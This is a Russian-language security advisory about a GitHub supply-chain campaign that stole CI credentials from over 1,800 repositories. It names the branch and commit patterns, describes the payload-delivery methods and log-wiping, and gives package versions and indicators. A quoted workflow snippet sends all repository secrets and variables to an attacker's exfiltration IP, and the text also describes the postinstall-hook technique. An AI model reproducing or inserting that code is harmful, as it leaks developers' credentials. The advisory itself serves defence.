На 1 835 репозиториях была запущена вредоносная программа, которая скомпрометировала и похитила учетные данные. По меньшей мере 50 скомпрометированных пользователей публикуют пакеты в важные экосистемы – PyPl, Go, npm и другие.
Кто может быть под угрозой?
Если после 10 ноября вы добавляли какой либо из файлов в свои репозитории, вы можете быть под угрозой:
- ветка — wfx-docs или pull request с заголовком docs: dependency audit notes;
- коммиты с названием — ci: refresh build cache, chore: add ci helper или chore: add dependency audit workflow;
- короткоживущие ветви — chore/ с восемью случайными символами.
С 10 по 11 ноября GitHub выдает 61 839 запросов docs: dependency audit notes на pull request.
Запрос pull request является проверкой, за которой следуют коммиты, содержащие полезную нагрузку. Если проверка прошла успешно, пользователь скомпрометирован.
10 431 запросов на слияние были отправлены в репозитории, не принадлежащие учетной записи, и доступны через права соавтора или организации. 92% из них до сих пор открыты, что говорит о том, что большинство владельцев этого не заметили.
Как работает атака
Этап 1. Проверка
Злоумышленник отправляет docs: dependency audit notes pull request из wfx-docs ветки, что подтверждает право на запись.
Этап 2. Передача полезной нагрузки
Злоумышленник использует один из трех вариантов:
- Внедрение в рабочий процесс — ci: refresh build cache добавляет около 1500 строк к существующему рабочему процессу;
- Установка хука — chore: add ci helper добавляет .ci-xxxxxx.shскрипт и postinstall хук package.json, который запускает его на любом устройстве .npm install;
- Временная ветка: c hore — add dependency audit workflow добавляет элементы .github/workflows/build-audit-xxxxxx.yml в chore/xxxxxxxx ветку.
Этап 3. Сокрытие следов
После завершения процесса хакер отменяет действие в течение максимум одной минуты и удаляет запись выполнения рабочего процесса вместе с ее журналами. Зачастую единственным следом остается отсутствие номера выполнения в истории рабочего процесса.
Целью атаки является сбор данных – полезная нагрузка собирает учетные данные из всех доступных источников на устройстве запуска.
Внедренные этапы процесса выглядят так:
/code
- name: Pass runtime
uses: actions/github-script@v7
...
- name: Restore cache j632
env:
WF_CALLBACK: "http://194.150.166[.]244:8080/exfil"
WF_CTOKEN: "b42d70a7aab9140ca19e8249"
WF_SECRETS: "${{ toJSON(secrets) }}"
WF_VARS: "${{ toJSON(vars) }}"
\code
Как понять, что вы скомпрометированы
Обязательно проверьте затронутые версии пакетов: Packagist digitalelvis/neuronai-studio v3.14.3 и Go github.com/onuragtas/docker-env v1.0.278 and v1.0.280. Вредоносная нагрузка находится только в файле рабочего процесса.
И сетевые индикаторы: 194.150.166[.]244:8080 (/exfil) и 18.143.168[.]96:8080 (/exfil).